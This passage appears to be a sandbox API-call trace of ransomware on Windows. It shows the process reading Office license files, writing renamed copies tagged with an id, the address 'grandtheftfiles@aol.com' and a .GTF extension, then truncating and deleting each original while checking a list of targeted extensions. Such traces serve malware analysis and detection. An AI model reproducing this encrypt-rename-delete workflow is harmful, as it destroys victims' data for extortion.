	[0168.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0168.911] lstrlenW (lpString=".jpg") returned 4
	[0168.911] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.911] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.911] lstrlenW (lpString="AccessVL_KMS_Client-ul-oob.xrm-ms") returned 33
	[0168.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.912] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11614) returned 1
	[0168.912] CloseHandle (hObject=0x374) returned 1
	[0168.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0168.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.912] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.912] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0168.913] GetLastError () returned 0x0
	[0168.913] ReadFile (in: hFile=0x374, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d5e, lpOverlapped=0x0) returned 1
	[0169.090] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0169.091] ReadFile (in: hFile=0x374, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.091] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x116, lpOverlapped=0x0) returned 1
	[0169.091] SetEndOfFile (hFile=0x504) returned 1
	[0169.091] CloseHandle (hObject=0x504) returned 1
	[0169.092] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.092] SetEndOfFile (hFile=0x374) returned 1
	[0169.217] CloseHandle (hObject=0x374) returned 1
	[0169.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 1
	[0169.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0169.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0169.631] lstrlenW (lpString=".doc") returned 4
	[0169.631] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.631] lstrlenW (lpString=".docx") returned 5
	[0169.631] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.631] lstrlenW (lpString=".pdf") returned 4
	[0169.631] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.631] lstrlenW (lpString=".xls") returned 4
	[0169.631] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.631] lstrlenW (lpString=".xlsx") returned 5
	[0169.631] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.632] lstrlenW (lpString=".ppt") returned 4
	[0169.632] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0169.632] lstrlenW (lpString=".zip") returned 4
	[0169.632] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.632] lstrlenW (lpString=".rar") returned 4
	[0169.632] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.632] lstrlenW (lpString=".bz2") returned 4
	[0169.632] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.632] lstrlenW (lpString=".7z") returned 3
	[0169.632] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0169.632] lstrlenW (lpString=".dbf") returned 4
	[0169.632] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0169.632] lstrlenW (lpString=".1cd") returned 4
	[0169.632] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0169.632] lstrlenW (lpString=".jpg") returned 4
	[0169.632] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0169.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0169.632] lstrlenW (lpString=".doc") returned 4
	[0169.632] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.632] lstrlenW (lpString=".docx") returned 5
	[0169.632] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.632] lstrlenW (lpString=".pdf") returned 4
	[0169.632] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.632] lstrlenW (lpString=".xls") returned 4
	[0169.632] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.632] lstrlenW (lpString=".xlsx") returned 5
	[0169.632] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.633] lstrlenW (lpString=".ppt") returned 4
	[0169.633] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0169.633] lstrlenW (lpString=".zip") returned 4
	[0169.633] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.633] lstrlenW (lpString=".rar") returned 4
	[0169.633] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.633] lstrlenW (lpString=".bz2") returned 4
	[0169.633] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.633] lstrlenW (lpString=".7z") returned 3
	[0169.633] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0169.633] lstrlenW (lpString=".dbf") returned 4
	[0169.633] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0169.633] lstrlenW (lpString=".1cd") returned 4
	[0169.633] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0169.633] lstrlenW (lpString=".jpg") returned 4
	[0169.633] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.633] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.633] lstrlenW (lpString="ExcelR_Retail-pl.xrm-ms") returned 23
	[0169.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0169.634] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=10627) returned 1
	[0169.634] CloseHandle (hObject=0x528) returned 1
	[0169.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220
	[0169.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0169.635] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.635] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0169.636] GetLastError () returned 0x0
	[0169.636] ReadFile (in: hFile=0x528, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2983, lpOverlapped=0x0) returned 1
	[0169.662] WriteFile (in: hFile=0x56c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0169.663] ReadFile (in: hFile=0x528, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.663] WriteFile (in: hFile=0x56c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x102, lpOverlapped=0x0) returned 1
	[0169.663] SetEndOfFile (hFile=0x56c) returned 1
	[0169.663] CloseHandle (hObject=0x56c) returned 1
	[0169.663] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.663] SetEndOfFile (hFile=0x528) returned 1
	[0169.675] CloseHandle (hObject=0x528) returned 1
	[0169.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 1
	[0169.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0169.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0169.676] lstrlenW (lpString=".doc") returned 4
	[0169.676] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.676] lstrlenW (lpString=".docx") returned 5
	[0169.676] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.676] lstrlenW (lpString=".pdf") returned 4
	[0169.676] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.676] lstrlenW (lpString=".xls") returned 4
	[0169.676] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.676] lstrlenW (lpString=".xlsx") returned 5
	[0169.676] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.676] lstrlenW (lpString=".ppt") returned 4
	[0169.676] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0169.676] lstrlenW (lpString=".zip") returned 4
	[0169.676] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.676] lstrlenW (lpString=".rar") returned 4
	[0169.676] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.676] lstrlenW (lpString=".bz2") returned 4
	[0169.676] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.676] lstrlenW (lpString=".7z") returned 3
	[0169.676] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0169.677] lstrlenW (lpString=".dbf") returned 4
	[0169.677] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0169.677] lstrlenW (lpString=".1cd") returned 4
	[0169.677] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0169.677] lstrlenW (lpString=".jpg") returned 4
	[0169.677] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0169.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0169.677] lstrlenW (lpString=".doc") returned 4
	[0169.677] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.677] lstrlenW (lpString=".docx") returned 5
	[0169.677] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.677] lstrlenW (lpString=".pdf") returned 4
	[0169.677] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.677] lstrlenW (lpString=".xls") returned 4
	[0169.677] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.677] lstrlenW (lpString=".xlsx") returned 5
	[0169.677] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.677] lstrlenW (lpString=".ppt") returned 4
	[0169.677] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0169.677] lstrlenW (lpString=".zip") returned 4
	[0169.677] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.677] lstrlenW (lpString=".rar") returned 4
	[0169.677] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.677] lstrlenW (lpString=".bz2") returned 4
	[0169.677] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.677] lstrlenW (lpString=".7z") returned 3
	[0169.677] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0169.677] lstrlenW (lpString=".dbf") returned 4
	[0169.677] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0169.678] lstrlenW (lpString=".1cd") returned 4
	[0169.678] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0169.678] lstrlenW (lpString=".jpg") returned 4
	[0169.678] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.678] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.678] lstrlenW (lpString="ExcelR_Retail-ppd.xrm-ms") returned 24
	[0169.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0169.678] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=20844) returned 1
	[0169.678] CloseHandle (hObject=0x528) returned 1
	[0169.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220
	[0169.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0169.679] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.679] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0169.680] GetLastError () returned 0x0
	[0169.680] ReadFile (in: hFile=0x528, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x516c, lpOverlapped=0x0) returned 1
	[0170.086] WriteFile (in: hFile=0x48c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x5170, lpOverlapped=0x0) returned 1
	[0170.088] ReadFile (in: hFile=0x528, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.088] WriteFile (in: hFile=0x48c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x104, lpOverlapped=0x0) returned 1
	[0170.088] SetEndOfFile (hFile=0x48c) returned 1
	[0170.088] CloseHandle (hObject=0x48c) returned 1
	[0170.094] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.094] SetEndOfFile (hFile=0x528) returned 1
	[0170.125] CloseHandle (hObject=0x528) returned 1
	[0170.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 1
	[0170.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0170.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0170.434] lstrlenW (lpString=".doc") returned 4
	[0170.434] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.434] lstrlenW (lpString=".docx") returned 5
	[0170.434] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.434] lstrlenW (lpString=".pdf") returned 4
	[0170.435] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.435] lstrlenW (lpString=".xls") returned 4
	[0170.435] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.435] lstrlenW (lpString=".xlsx") returned 5
	[0170.435] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.435] lstrlenW (lpString=".ppt") returned 4
	[0170.435] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0170.435] lstrlenW (lpString=".zip") returned 4
	[0170.435] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.435] lstrlenW (lpString=".rar") returned 4
	[0170.435] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.435] lstrlenW (lpString=".bz2") returned 4
	[0170.435] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.435] lstrlenW (lpString=".7z") returned 3
	[0170.435] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0170.435] lstrlenW (lpString=".dbf") returned 4
	[0170.435] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0170.435] lstrlenW (lpString=".1cd") returned 4
	[0170.435] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0170.435] lstrlenW (lpString=".jpg") returned 4
	[0170.435] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0170.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0170.435] lstrlenW (lpString=".doc") returned 4
	[0170.435] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.435] lstrlenW (lpString=".docx") returned 5
	[0170.435] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.435] lstrlenW (lpString=".pdf") returned 4
	[0170.435] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.435] lstrlenW (lpString=".xls") returned 4
	[0170.435] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.435] lstrlenW (lpString=".xlsx") returned 5
	[0170.436] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.436] lstrlenW (lpString=".ppt") returned 4
	[0170.436] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0170.436] lstrlenW (lpString=".zip") returned 4
	[0170.436] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
